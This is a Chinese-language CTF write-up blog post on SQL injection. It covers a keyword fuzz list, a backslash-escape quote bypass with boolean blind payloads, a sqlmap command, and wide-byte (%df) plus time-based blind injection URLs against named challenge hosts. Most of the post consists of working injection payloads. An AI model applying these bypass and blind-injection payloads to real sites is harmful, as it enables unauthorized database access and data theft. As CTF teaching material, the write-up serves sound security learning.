CTF例题合集(2)

发布于:2023-01-04 ⋅ 阅读:(676) ⋅ 点赞:(0)

SQL注入典型例题

http://121.36.208.140:23333

1.首先测试闭合 发现回显停止hacking 说明存在字符上的注释和绕过问题,可以借助burp抓包查看

admin'
admin

2.

这里是fuzz字典,里面有很多可能被注释掉的敏感字段内容

select    from   asci   substr   table   column   by   schema   where   extractvalue   exp   if   /   (   )   %   !   @
#   $   ^   &   *   -   _   +   =   '   "   ~   `   \   |   ,   .   ||   &&   order   updatexml   limit   And   Or
%23   %20    space
<
>
regex
group_concat
table_name
table_schema
column_name
database
imformation
union select
ascii(substr())
(select(group_concat(table_name))
from(information_schema.tables)where(table_schema=database())
(ascii(substr((select(group_concat(flaaag))from(flag)),%s,1))=%s)
where(table_schema=database())

这里可以获得所有敏感字符是否被过滤的情况。由于判断可以得知 字符长度比较短的是stop hacking ,所以1405的是被过滤掉的内容

接下来通过目录爆破可以获得一些不为人知的目录

扫描发现robots.txt  

得到的提示是访问/hint.txt

这是提示的sql语句 

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

由于刚刚的扫描中发现 \ 转义字符并没有被过滤掉

所以可以考虑输入用户名为 admin\  密码是 123456#

则语句可以理解成

select * from users where username='admin\' and password='123456#';

此时不难发现,admin右边的引号被转义成了普通的字符,所以admin左边的引号会和password右边的引号闭合

而#后面的内容都被注释掉了,所以此时的注入位置是123456

select * from users where username='admin and password=' 恶意代码 #';

而此时注意到等号也被过滤了,所以and 1=1这种没办法实现 但是可以考虑使用大于号和小于号和or

username=admin\&password=or 2>1#

username=admin\&password=or 2<1#

根据网页回显的特性不难发现,这符合布尔盲注的特点。

接下来可以一步步的手工去进行盲注,不过非常的耗费时间。

而这使用sqlmap也是比较难的

所以需要自行写脚本进行注入实现

爆出密码为 OhyOuFOuNdit
账号为 admin

PS:如果尝试使用sqlmap构造语句(POST型+盲注) 需要先burp抓包获得我们的注入内容

sqlmap -u http://121.36.208.140:23333/ --data "username=admin\&password=or *" --current-db --batch --threads 10 --technique B

没办法实现。可能由于sqlmap工具能力有限。这就需要自己后期的脚本开发和优化了

宽字节注入&时间盲注例题

chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' -- -   //here is the information
chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' order by 3 -- -    

//Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in SQL-GBK/index.php on line 10
chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' order by 2 -- -

//here is the information
chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' union select 1,2 -- -

//here is the information

不难发现网页的回显结果非常单一,这可能是盲注注入类型 (布尔盲注)

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and length(database())=8 -- -   // 空
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and length(database())=1 -- -  //多次尝试最后仍然为空

接下来考虑时间盲注

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=2,sleep(5),1) -- -  //停顿5s
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=4,sleep(5),1) -- -  //停顿5s
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=8,sleep(5),1) -- -  //停顿5s
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=14,sleep(5),1) -- -  //停顿5s
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=15,sleep(5),1) -- -  //here is the information

说明当前数据库的名字长度是14


网站公告

今日签到

点亮在社区的每一天
去签到